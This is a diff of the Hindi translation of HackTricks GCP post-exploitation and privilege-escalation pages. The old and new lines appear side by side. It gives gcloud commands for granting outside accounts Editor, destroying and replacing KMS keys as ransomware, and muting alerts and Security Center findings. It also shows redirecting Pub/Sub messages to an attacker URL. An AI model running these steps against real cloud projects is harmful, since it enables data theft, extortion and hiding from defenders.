**डिस्क** को एक उदाहरण से जोड़ें:
**एक उदाहरण** में डिस्क **जोड़ें**:
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
Mount the disk inside the VM:
VM के अंदर डिस्क माउंट करें:
1. **SSH into the VM**:
1. **VM में SSH करें**:
```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```
2. **Disk की पहचान करें**: Once inside the VM, identify the new disk by listing the disk devices. Typically, you can find it as `/dev/sdb`, `/dev/sdc`, etc.
3. **Disk को फॉर्मेट और माउंट करें** (if it's a new or raw disk):
2. **डिस्क पहचानें**: VM के अंदर जाने के बाद, डिस्क उपकरणों की सूची बनाकर नई डिस्क की पहचान करें। आमतौर पर, आप इसे `/dev/sdb`, `/dev/sdc`, आदि के रूप में पा सकते हैं।
3. **डिस्क को फॉर्मेट और माउंट करें** (यदि यह एक नई या कच्ची डिस्क है):
- एक माउंट पॉइंट बनाएं:
@@ -95,12 +95,12 @@ gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```
- Disk को माउंट करें:
- डिस्क को माउंट करें:
```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```
If you **cannot give access to a external project** to the snapshot or disk, you might need to p**erform these actions inside an instance in the same project as the snapshot/disk**.
यदि आप **snapshot या डिस्क के लिए एक बाहरी प्रोजेक्ट को एक्सेस नहीं दे सकते**, तो आपको **snapshot/disk के समान प्रोजेक्ट में एक इंस्टेंस के अंदर ये क्रियाएँ करनी पड़ सकती हैं**
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# GCP - Filestore Post Exploitation
# GCP - Filestore पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ Filestore के बारे में अधिक जानकारी क
../gcp-services/gcp-filestore-enum.md
{{#endref}}
### Mount Filestore
### Filestore माउंट करें
एक साझा फ़ाइल सिस्टम **संवेदनशील जानकारी** हो सकता है जो हमलावरों के दृष्टिकोण से दिलचस्प है। Filestore तक पहुँच के साथ, इसे **माउंट करना** संभव है:
```bash
@@ -22,15 +22,15 @@ showmount -e <IP>
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
```
To find the IP address of a filestore insatnce check the enumeration section of the page:
फाइलस्टोर इंस्टेंस का IP पता खोजने के लिए पृष्ठ के एन्यूमरेशन सेक्शन की जांच करें:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}
### प्रतिबंध हटाए और अतिरिक्त अनुमतियाँ प्राप्त करें
### प्रतिबंध हटाए और अतिरिक्त अनुमतियाँ प्राप्त करें
यदि हमलावर उस IP पते पर नहीं है जिसमें शेयर पर पहुच है, लेकिन आपके पास इसे संशोधित करने के लिए पर्याप्त अनुमतियाँ हैं, तो इसे हटाना संभव है। यह आपके IP पते पर अधिक विशेषाधिकार प्रदान करना भी संभव है ताकि शेयर पर प्रशासनिक पहुच प्राप्त की जा सके:
यदि हमलावर उस IP पते पर नहीं है जिसके पास शेयर पर पहुच है, लेकिन आपके पास इसे संशोधित करने के लिए पर्याप्त अनुमतियाँ हैं, तो इसे हटाना संभव है। यह आपके IP पते पर अधिक विशेषाधिकार प्रदान करना भी संभव है ताकि शेयर पर प्रशासनिक पहुच प्राप्त की जा सके:
```bash
gcloud filestore instances update nfstest \
--zone=<exact-zone> \
@@ -76,9 +76,9 @@ gcloud filestore instances restore <new-instance-name> \
# Follow the previous section commands to mount it
```
### Create a backup and restore it
### एक बैकअप बनाएं और इसे पुनर्स्थापित करें
यदि आपके पास **एक शेयर पर पहुंच नहीं है और आप इसे संशोधित नहीं करना चाहते**, तो **इसका बैकअप बनाना** और **इसे पुनर्स्थापित करना** संभव है जैसा कि पहले उल्लेख किया गया है:
यदि आपके पास **शेयर पर पहुंच नहीं है और आप इसे संशोधित नहीं करना चाहते**, तो **इसका बैकअप बनाना** और इसे **पुनर्स्थापित करना** संभव है जैसा कि पहले उल्लेख किया गया है:
```bash
# Create share backup
gcloud filestore backups create <back-name> \
@@ -4,7 +4,7 @@
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
आप IAM के बारे में और जानकारी पा सकते हैं:
आप IAM के बारे में अधिक जानकारी पा सकते हैं:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -14,13 +14,13 @@
[GCP प्रबंधन कंसोल](https://console.cloud.google.com) तक पहुंच **उपयोगकर्ता खातों को प्रदान की जाती है, सेवा खातों को नहीं**। वेब इंटरफेस में लॉग इन करने के लिए, आप **एक Google खाते को पहुंच प्रदान कर सकते हैं** जिसे आप नियंत्रित करते हैं। यह एक सामान्य "**@gmail.com**" खाता हो सकता है, यह **लक्षित संगठन का सदस्य होना आवश्यक नहीं है**
हालांकि, एक सामान्य "@gmail.com" खाते को **Owner** की प्रामि भूमिका **प्रदान करने के लिए**, आपको **वेब कंसोल का उपयोग करना होगा**। यदि आप इसे Editor से ऊपर की अनुमति देने की कोशिश करते हैं, तो `gcloud` त्रुटि देगा।
हालांकि, एक सामान्य "@gmail.com" खाते को **Owner** की प्रामिटिव भूमिका **प्रदान करने के लिए**, आपको **वेब कंसोल का उपयोग करना होगा**। यदि आप इसे Editor से ऊपर की अनुमति देने की कोशिश करते हैं, तो `gcloud` त्रुटि देगा।
आप अपने मौजूदा प्रोजेक्ट को **Editor की प्रामि भूमिका प्रदान करने के लिए** निम्नलिखित कमांड का उपयोग कर सकते हैं:
आप अपने मौजूदा प्रोजेक्ट को **Editor की प्रामिटिव भूमिका प्रदान करने के लिए** निम्नलिखित कमांड का उपयोग कर सकते हैं:
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
यदि आप यहाँ सफल हुए, तो **वेब इंटरफ़ेस तक पहुँचने** और वहाँ से अन्वेषण करने का प्रयास करें।
यदि आप यहाँ सफल होते हैं, तो **वेब इंटरफ़ेस तक पहुँचने** और वहाँ से अन्वेषण करने का प्रयास करें।
यह **gcloud टूल का उपयोग करके आप असाइन कर सकते हैं सबसे उच्च स्तर** है।
@@ -4,7 +4,7 @@
## KMS
KMS के बारे में मूल जानकारी प्राप्त करें:
KMS के बारे में बुनियादी जानकारी प्राप्त करें:
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,7 +12,7 @@ KMS के बारे में मूल जानकारी प्रा
### `cloudkms.cryptoKeyVersions.destroy`
इस अनुमति के साथ एक हमलावर एक KMS संस्करण को नष्ट कर सकता है। ऐसा करने के लिए, आपको पहले कुंजी को निष्क्रिय करना होगा और फिर इसे नष्ट करना होगा:
इस अनुमति के साथ एक हमलावर KMS संस्करण को नष्ट कर सकता है। ऐसा करने के लिए, आपको पहले कुंजी को निष्क्रिय करना होगा और फिर इसे नष्ट करना होगा:
```python
# pip install google-cloud-kms
@@ -59,20 +59,20 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
```
### KMS Ransomware
AWS में एक KMS कुंजी को पूरी तरह से **चोरी करना** संभव है, KMS संसाधन नीति को संशोधित करके और केवल हमलावर के खाते को कुंजी का उपयोग करने की अनुमति देकर। चूंकि ये संसाधन नीतियाँ GCP में मौजूद नहीं हैं, यह संभव नहीं है।
AWS में एक KMS कुंजी को पूरी तरह से **चुराना** संभव है, KMS संसाधन नीति को संशोधित करके और केवल हमलावर के खाते को कुंजी का उपयोग करने की अनुमति देकर। चूंकि ये संसाधन नीतियाँ GCP में मौजूद नहीं हैं, यह संभव नहीं है।
हालांकि, एक वैश्विक KMS Ransomware करने का एक और तरीका है, जिसमें निम्नलिखित चरण शामिल होंगे:
- एक नई **कुंजी का संस्करण बनाएं जिसमें हमलावर द्वारा आयातित कुंजी सामग्री** हो
- एक नई **संस्करण बनाएं कुंजी के साथ एक कुंजी सामग्री** जो हमलावर द्वारा आयात की गई है।
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- इसे **डिफ़ॉल्ट संस्करण** के रूप में सेट करें (भविष्य में एन्क्रिप्ट किए जा रहे डेटा के लिए)
- इसे **डिफ़ॉल्ट संस्करण** के रूप में सेट करें (भविष्य के डेटा को एन्क्रिप्ट करने के लिए)
- **पुराने डेटा को फिर से एन्क्रिप्ट करें** जो पिछले संस्करण के साथ एन्क्रिप्ट किया गया था, नए के साथ।
- **KMS कुंजी को हटाएं**
- अब केवल हमलावर, जिसके पास मूल कुंजी सामग्री है, एन्क्रिप्ट किए गए डेटा को डिक्रिप्ट कर सकेगा
- अब केवल हमलावर, जिसके पास मूल कुंजी सामग्री है, एन्क्रिप्टेड डेटा को डिक्रिप्ट कर सकेगा
#### यहां एक नया संस्करण आयात करने और पुराने डेटा को अक्षम/हटाने के चरण दिए गए हैं:
#### यहां एक नया संस्करण आयात करने और पुराने डेटा को अक्षम/हटाने के चरण हैं:
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -55,14 +55,14 @@ content: Hello World
```
### `monitoring.dashboards.delete`
एक डैशबोर्ड हटाएं:
डैशबोर्ड हटाएं:
```bash
# Delete dashboard
gcloud monitoring dashboards delete <dashboard>
```
### `monitoring.snoozes.create`
नीतियों को अलर्ट उत्पन्न करने से रोकने के लिए एक स्नूज़र बनाएं:
अलर्ट उत्पन्न करने से नीतियों को रोकने के लिए एक स्नूज़र बनाएं:
```bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
@@ -72,7 +72,7 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
```
### `monitoring.snoozes.update`
स्नूज़र क समय को अपडेट करें ताकि हमलावर की रुचि के समय अलर्ट उत्पन्न न हों:
स्नूज़र क समय अपडेट करें ताकि हमलावर की रुचि के समय अलर्ट उत्पन्न न हों:
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
@@ -1,4 +1,4 @@
# GCP - Pub/Sub Post Exploitation
# GCP - Pub/Sub पोस्ट एक्सप्लोइटेशन
{{#include ../../../banners/hacktricks-training.md}}
@@ -26,13 +26,13 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
सदस्यता को संदेश प्राप्त करने से रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।\
यह एक विषय को हटासंभव है, भले ही इसके साथ सदस्यताएँ जुड़ी हों।
यह संभव है कि एक विषय को हटाजाए, भले ही उस पर सदस्यताएँ जुड़ी हों।
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
### `pubsub.topics.update`
इस अनुमति का उपयोग विषय की कुछ सेटिंग को अपडेट करने के लिए करें ताकि इसे बाधित किया जा सके, जैसे `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
इस अनुमति का उपयोग किसी विषय की सेटिंग को अपडेट करने के लिए करें ताकि इसे बाधित किया जा सके, जैसे `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
@@ -45,7 +45,7 @@ gcloud pubsub topics delete <TOPIC NAME>
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
एक सदस्यता बनाएं और इसका उपयोग **संदेश खींचने** के लिए करें:
सदस्यता बनाएं और इसका उपयोग **संदेश खींचने** के लिए करें:
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -56,13 +56,13 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
```
### `pubsub.subscriptions.delete`
**एक सदस्यता हटाना** लॉग प्रोसेसिंग सिस्टम या कुछ समान को बाधित करने के लिए उपयोगी हो सकता है:
**एक सदस्यता हटाना** एक लॉग प्रोसेसिंग सिस्टम या कुछ समान को बाधित करने के लिए उपयोगी हो सकता है:
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
### `pubsub.subscriptions.update`
इस अनुमति का उपयोग कुछ सेटिंग को अपडेट करने के लिए करें ताकि संदेश एक ऐसी जगह पर संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query तालिका, बकेट) या बस इसे बाधित करने के लिए।
इस अनुमति का उपयोग कुछ सेटिंग को अपडेट करने के लिए करें ताकि संदेश एक ऐसी जगह संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query तालिका, बकेट) या बस इसे बाधित करने के लिए।
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
@@ -72,7 +72,7 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
एक स्कीमा को एक टॉपिक से जोड़ें ताकि संदेश इसे पूरा न करें और इसलिए टॉपिक बाधित हो जाए।\
एक स्कीमा को एक विषय से जोड़ें ताकि संदेश इसे पूरा न करें और इसलिए विषय बाधित हो जाए।\
यदि कोई स्कीमा नहीं है, तो आपको एक बनाने की आवश्यकता हो सकती है।
```json:schema.json
{
@@ -100,17 +100,17 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
```
### `pubsub.schemas.delete`
यह ऐसा लग सकता है जैसे आप एक स्कीमा को हटा रहे हैं जिससे आप ऐसे संदेश भेज सकेंगे जो स्कीमा के अनुरूप नहीं हैं। हालाँकि, चूंकि स्कीमा हटा दिया जाएगा, कोई संदेश वास्तव में विषय के अंदर नहीं जाएगा। इसलिए यह **व्यर्थ** है:
यह ऐसा लग सकता है जैसे आप एक स्कीमा को हटा रहे हैं जिससे आप ऐसे संदेश भेज सकेंगे जो स्कीमा को पूरा नहीं करते। हालाँकि, चूंकि स्कीमा हटा दिया जाएगा, कोई भी संदेश वास्तव में विषय के अंदर नहीं जाएगा। इसलिए यह **व्यर्थ** है:
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
### `pubsub.schemas.setIamPolicy`
अपने आपको उन अनुमतियों को दें जो पहले टिप्पणी किए गए हमलों को करने के लिए आवश्यक हैं
अपने आप को उन हमलों को करने के लिए आवश्यक अनुमतियाँ दें जिनका पहले उल्लेख किया गया था
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
यह सभी अनACK किए गए संदेशों का एक स्नैपशॉट बनाएगा और उन्हें सब्सक्रिप्शन में वापस डाल देगा। हमलावर के लिए बहुत उपयोगी नहीं है लेकिन यहाँ यह है:
यह सभी अन-ACK किए गए संदेशों का एक स्नैपशॉट बनाएगा और उन्हें सब्सक्रिप्शन में वापस डाल देगा। एक हमलावर के लिए यह बहुत उपयोगी नहीं है लेकिन यहाँ यह है:
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
@@ -12,7 +12,7 @@
### `securitycenter.muteconfigs.create`
एक `muteconfig` बनाकर हमलावर का पता लगाने के लिए संभावित निष्कर्षों के निर्माण को रोकें:
एक `muteconfig` बनाकर हमलावर का पता लगाने के लिए निष्कर्षों के निर्माण को रोकें:
```bash
# Create Muteconfig
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
@@ -31,17 +31,17 @@ gcloud scc muteconfigs update my-test-mute-config --organization=123 --descripti
# Mute based on a filter
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
```
A muted finding SCC डैशबोर्ड और रिपोर्ट में नहीं दिखाई देग
एक म्यूटेड खोज SCC डैशबोर्ड और रिपोर्ट में नहीं दिखाई देग
### `securitycenter.findings.setMute`
स्रोत, निष्कर्षों के आधार पर निष्कर्षों को म्यूट करें...
स्रोत, खोजों के आधार पर खोजों को म्यूट करें...
```bash
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
```
### `securitycenter.findings.update`
एक खोज को अद्यतन करें ताकि गलत जानकारी को इंगित किया जा सके:
एक खोज को अद्यतन करें ताकि गलत जानकारी को दर्शाया जा सके:
```bash
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
```
@@ -4,58 +4,58 @@
## Introduction to GCP Privilege Escalation <a href="#introduction-to-gcp-privilege-escalation" id="introduction-to-gcp-privilege-escalation"></a>
GCP, किसी अन्य क्लाउड की तरह, कुछ **प्रिंसिपल** होते हैं: उपयोगकर्ता, समूह और सेवा खाते, और कुछ **संसाधन** जैसे कंप्यूट इंजन, क्लाउड फ़ंक्शंस...\
फिर, भूमिकाओं के माध्यम से, **इन प्रिंसिपल को संसाधनों पर अनुमतियाँ दी जाती हैं**। यह GCP में किसी संसाधन पर प्रिंसिपल के पास अनुमतियों को निर्दिष्ट करने का तरीका है।\
कुछ निश्चित अनुमतियाँ हैं जो एक उपयोगकर्ता को **संसाधन या तीसरे पक्ष के संसाधनों पर और अधिक अनुमतियाँ प्राप्त करने** की अनुमति देंगी, और इसे **प्रिविलेज एस्कलेशन** कहा जाता है (साथ ही, अधिक अनुमतियाँ प्राप्त करने के लिए कमजोरियों का शोषण)।
GCP, किसी अन्य क्लाउड की तरह, कुछ **principals**: उपयोगकर्ता, समूह और सेवा खाते, और कुछ **resources** जैसे कि कंप्यूट इंजन, क्लाउड फ़ंक्शंस\
फिर, भूमिकाओं के माध्यम से, **permissions उन principals को resources पर दी जाती हैं**। यह GCP में एक resource पर एक principal के पास मौजूद permissions को निर्दिष्ट करने का तरीका है।\
कुछ निश्चित permissions हैं जो एक उपयोगकर्ता को **resource या तीसरे पक्ष के resources पर और अधिक permissions प्राप्त करने** की अनुमति देंगी, और इसे **privilege escalation** कहा जाता है (साथ ही, अधिक permissions प्राप्त करने के लिए कमजोरियों का शोषण करना)।
इसलिए, मैं GCP प्रिविलेज एस्कलेशन तकनीकों को **2 समूहों** में विभाजित करना चाहूंगा:
इसलिए, मैं GCP privilege escalation तकनीकों को **2 समूहों** में विभाजित करना चाहूंगा:
- **प्रिंसिपल के लिए प्रिवेस्क**: यह आपको **दूसरे प्रिंसिपल का अनुकरण करने** की अनुमति देगा, और इसलिए इसके सभी अनुमतियों के साथ कार्य करेगा। उदाहरण: _getAccessToken_ का दुरुपयोग करके एक सेवा खाते का अनुकरण करना।
- **संसाधन पर प्रिवेस्क**: यह आपको **विशिष्ट संसाधन पर अधिक अनुमतियाँ प्राप्त करने** की अनुमति देगा। उदाहरण: आप क्लाउडफंक्शंस पर _setIamPolicy_ अनुमति का दुरुपयोग कर सकते हैं ताकि आप फ़ंक्शन को ट्रिगर कर सकें।
- ध्यान दें कि कुछ **संसाधन अनुमतियाँ आपको संसाधन से एक मनमाना सेवा खाता संलग्न करने** की भी अनुमति देंगी। इसका मतलब है कि आप एक SA के साथ एक संसाधन लॉन्च कर सकेंगे, संसाधन में प्रवेश कर सकेंगे, और **SA टोकन चुरा सकेंगे**। इसलिए, यह एक संसाधन वृद्धि के माध्यम से एक प्रिंसिपल में वृद्धि करने की अनुमति देगा। यह पहले कई संसाधनों में हुआ है, लेकिन अब यह कम सामान्य है (लेकिन अभी भी हो सकता है)।
- **Privesc to a principal**: यह आपको **दूसरे principal का अनुकरण करने** की अनुमति देगा, और इसलिए इसके सभी permissions के साथ कार्य करेगा। उदाहरण: _getAccessToken_ का दुरुपयोग करके एक सेवा खाते का अनुकरण करना।
- **Privesc on the resource**: यह आपको **विशिष्ट resource पर अधिक permissions प्राप्त करने** की अनुमति देगा। उदाहरण: आप cloudfunctions पर _setIamPolicy_ permission का दुरुपयोग कर सकते हैं ताकि आप फ़ंक्शन को ट्रिगर कर सकें।
- ध्यान दें कि कुछ **resources permissions आपको resource से एक मनमाना सेवा खाता संलग्न करने** की भी अनुमति देंगी। इसका मतलब है कि आप एक SA के साथ एक resource लॉन्च कर सकेंगे, resource में प्रवेश कर सकेंगे, और **SA token चुरा सकेंगे**। इसलिए, यह एक resource escalation के माध्यम से एक principal में वृद्धि करने की अनुमति देगा। यह पहले कई resources में हुआ है, लेकिन अब यह कम सामान्य है (लेकिन अभी भी हो सकता है)।
स्पष्ट रूप से, सबसे दिलचस्प प्रिविलेज एस्कलेशन तकनीकें **दूसरे समूह** की हैं क्योंकि यह आपको **उन संसाधनों के बाहर अधिक विशेषाधिकार प्राप्त करने** की अनुमति देग जिन पर आपके पास पहले से कुछ विशेषाधिकार हैं। हालाँकि, ध्यान दें कि **संसाधनों में वृद्धि** आपको **संवेदनशील जानकारी** या यहां तक कि **अन्य प्रिंसिपल** (शायद एक SA के टोकन को शामिल करने वाले एक रहस्य को पढ़कर) तक पहुच भी दे सकती है।
स्पष्ट रूप से, सबसे दिलचस्प privilege escalation तकनीकें **दूसरे समूह** की हैं क्योंकि यह आपको **उन resources के बाहर अधिक privileges प्राप्त करने** की अनुमति देग जिन पर आपके पास पहले से कुछ privileges हैं। हालाँकि, ध्यान दें कि **resources में वृद्धि** आपको **संवेदनशील जानकारी** या यहां तक कि **अन्य principals** (शायद एक SA के token को शामिल करने वाले एक रहस्य को पढ़कर) तक पहुच भी दे सकती है।
> [!WARNING]
> यह ध्यान रखना महत्वपूर्ण है कि **GCP सेवा खाते दोनों प्रिंसिपल और अनुमतियाँ** हैं, इसलिए एक SA में विशेषाधिकार बढ़ाने से आपको इसका अनुकरण करने की अनुमति भी मिलेगी।
> यह ध्यान रखना महत्वपूर्ण है कि **GCP सेवा खाते दोनों principals और permissions हैं**, इसलिए SA में privileges बढ़ाने से आपको इसका अनुकरण करने की भी अनुमति मिलेगी।
> [!NOTE]
> कोष्ठक के बीच की अनुमतियाँ उस कमजोर का शोषण करने के लिए आवश्यक अनुमतियों को इंगित करती हैं `gcloud` के साथ। यदि इसे API के माध्यम से शोषित किया जाता है तो ये आवश्यक नहीं हो सकती हैं
> कोष्ठक के बीच permissions उन permissions को इंगित करती हैं जो `gcloud` के साथ कमजोरियों का शोषण करने के लिए आवश्यक हैं। यदि इसे API के माध्यम से शोषित किया जाता है तो ये आवश्यक नहीं हो सकत
## Permissions for Privilege Escalation Methodology
यहाँ मैं **GCP के अंदर विशिष्ट क्रियाएँ करने के लिए विशिष्ट अनुमतियों** परीक्षण कैसे करता हूँ।
यहाँ मैं **GCP के भीतर विशिष्ट क्रियाएँ करने के लिए विशिष्ट permissions**े लिए परीक्षण करता हूँ।
1. गिटहब रेपो डाउनलोड करें [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
2. tests/ में नया स्क्रिप्ट जोड़ें
## Bypassing access scopes <a href="#bypassing-access-scopes" id="bypassing-access-scopes"></a>
GCP मेटाडेटा सेवा से लीक हुए SA के टोकन में **एक्सेस स्कोप** होते हैं। ये **अनुमतियों** पर **प्रतिबंध** हैं जो टोकन के पास हैं। उदाहरण के लिए, यदि टोकन में **`https://www.googleapis.com/auth/cloud-platform`** स्कोप है, तो इसके पास सभी GCP सेवाओं तक **पूर्ण पहु** होगी। हालाँकि, यदि टोकन में **`https://www.googleapis.com/auth/cloud-platform.read-only`** स्कोप है, तो इसके पास सभी GCP सेवाओं तक केवल **पढ़ने की अनुमति** होगी, भले ही SA के पास IAM में अधिक अनुमतियाँ हों।
GCP मेटाडेटा सेवा से लीक हुए SA के tokens में **access scopes** होते हैं। ये **permissions** पर **प्रतिबंध** हैं जो token के पास हैं। उदाहरण के लिए, यदि token में **`https://www.googleapis.com/auth/cloud-platform`** scope है, तो इसके पास सभी GCP सेवाओं तक **पूर्ण पहु** होगी। हालाँकि, यदि token में **`https://www.googleapis.com/auth/cloud-platform.read-only`** scope है, तो इसके पास सभी GCP सेवाओं तक केवल **पढ़ने के लिए पहुंच** होगी, भले ही SA के पास IAM में अधिक permissions हों।
इन अनुमतियों को बायपास करने का कोई सीधा तरीका नहीं है, लेकिन आप हमेशा **समझौता किए गए होस्ट** में **न क्रेडेंशियल्स** खोजने, **एक सेवा कुंजी खोजने** के लिए बिना प्रतिबंध के OAuth टोकन उत्पन्न करने या **कम प्रतिबंधित एक अलग VM पर कूदने**ी कोशिश कर सकते हैं।
इन permissions को बायपास करने का कोई सीधा तरीका नहीं है, लेकिन आप हमेशा **समझौता किए गए होस्ट** में **न क्रेडेंशियल्स** खोजने, **OAuth token उत्पन्न करने के लिए सेवा कुंजी खोजने** या **कम प्रतिबंधित विभिन्न VM पर कूदने**ा प्रयास कर सकते हैं।
जब [एक्सेस स्कोप](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) का उपयोग किया जाता है, तो कंप्यूटिंग उदाहरण (VM) के लिए उत्पन्न OAuth टोकन में **एक** [**स्कोप**](https://oauth.net/2/scope/) **सीमा शामिल होगी**। हालाँकि, आप इस सीमा को **बायपास** करने और समझौता किए गए खाते के पास अनुमतियों का शोषण करने में सक्षम हो सकते हैं।
जब [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) का उपयोग किया जाता है, तो कंप्यूटिंग उदाहरण (VM) के लिए उत्पन्न OAuth token में **एक** [**scope**](https://oauth.net/2/scope/) **सीमा शामिल होगी**। हालाँकि, आप इस सीमा को **बायपास** करने और समझौता किए गए खाते के पास मौजूद permissions का शोषण करने में सक्षम हो सकते हैं।
इस प्रतिबंध को बायपास करने का **सर्वश्रेष्ठ तरीका** या तो **समझौता किए गए होस्ट** में **न क्रेडेंशियल्स** खोजना है, **बिना प्रतिबंध के OAuth टोकन उत्पन्न करने के लिए सेवा कुंजी खोजना** या **कम प्रतिबंधित SA के साथ एक अलग VM को समझौता करना** है।
इस प्रतिबंध को बायपास करने का **सर्वश्रेष्ठ तरीका** या तो **समझौता किए गए होस्ट** में **न क्रेडेंशियल्स** खोजना, **बिना प्रतिबंध के OAuth token उत्पन्न करने के लिए सेवा कुंजी खोजना** या **कम प्रतिबंधित SA के साथ एक अलग VM को समझौता करना** है।
चाबियों के साथ SA की जाच करें:
SA के साथ उत्पन्न कुंजी की जाच करें:
```bash
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
echo "Looking for keys for $i:"
gcloud iam service-accounts keys list --iam-account $i
done
```
## Privilege Escalation Techniques
## विशेषाधिकार वृद्धि तकनीकें
AWS में अपने विशेषाधिकारों को बढ़ाने का तरीका यह है कि आपके पास अन्य सेवा खाता/उपयोगकर्ता/समूह के विशेषाधिकारों तक पहुँचने के लिए पर्याप्त अनुमतियाँ हों। प्रशासनिक पहुँच प्राप्त करने के लिए बढ़ते विशेषाधिकारों को जोड़ना।
AWS में अपने विशेषाधिकार बढ़ाने का तरीका यह है कि आपके पास अन्य सेवा खाता/उपयोगकर्ता/समूह के विशेषाधिकारों तक पहुँचने के लिए पर्याप्त अनुमतियाँ हों। प्रशासनिक पहुँच प्राप्त करने के लिए वृद्धि को जोड़ना।
> [!WARNING]
> GCP में **सैकड़ों** (यदि हजारों नहीं) **अनुमतियाँ** हैं जो किसी इकाई को दी जा सकती हैं। इस पुस्तक में आप **सभी अनुमतियाँ** पा सकते हैं जो मैं जानता हूँ कि आप **विशेषाधिकार बढ़ाने** के लिए दुरुपयोग कर सकते हैं, लेकिन यदि आप **कोई ऐसा मार्ग** जानते हैं जो यहाँ उल्लेखित नहीं है, **कृपया साझा करें**।
**इस अनुभाग के उपपृष्ठ सेवाओं के अनुसार क्रमबद्ध हैं। आप प्रत्येक सेवा पर विशेषाधिकार बढ़ाने के विभिन्न तरीके पा सकते हैं।**
### Abusing GCP to escalate privileges locally
### स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए GCP का दुरुपयोग
यदि आप GCP में एक मशीन के अंदर हैं, तो आप स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए अनुमतियों का दुरुपयोग कर सकते हैं:
@@ -63,7 +63,7 @@ AWS में अपने विशेषाधिकारों को बढ
gcp-local-privilege-escalation-ssh-pivoting.md
{{#endref}}
## References
## संदर्भ
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#gcp-privesc-scanner)
@@ -4,9 +4,9 @@
## Apikeys
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, इस दस्तावेज़ से ध्यान दें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और **कोटा** और **बिलिंग** के लिए आपके प्रोजेक्ट के साथ API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, दस्तावेज़ से यह नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी एप्लिकेशन की पहचान करती है बिना किसी प्रिंसिपल के**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और आपके प्रोजेक्ट के लिए कोटा और **बिलिंग** के लिए API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
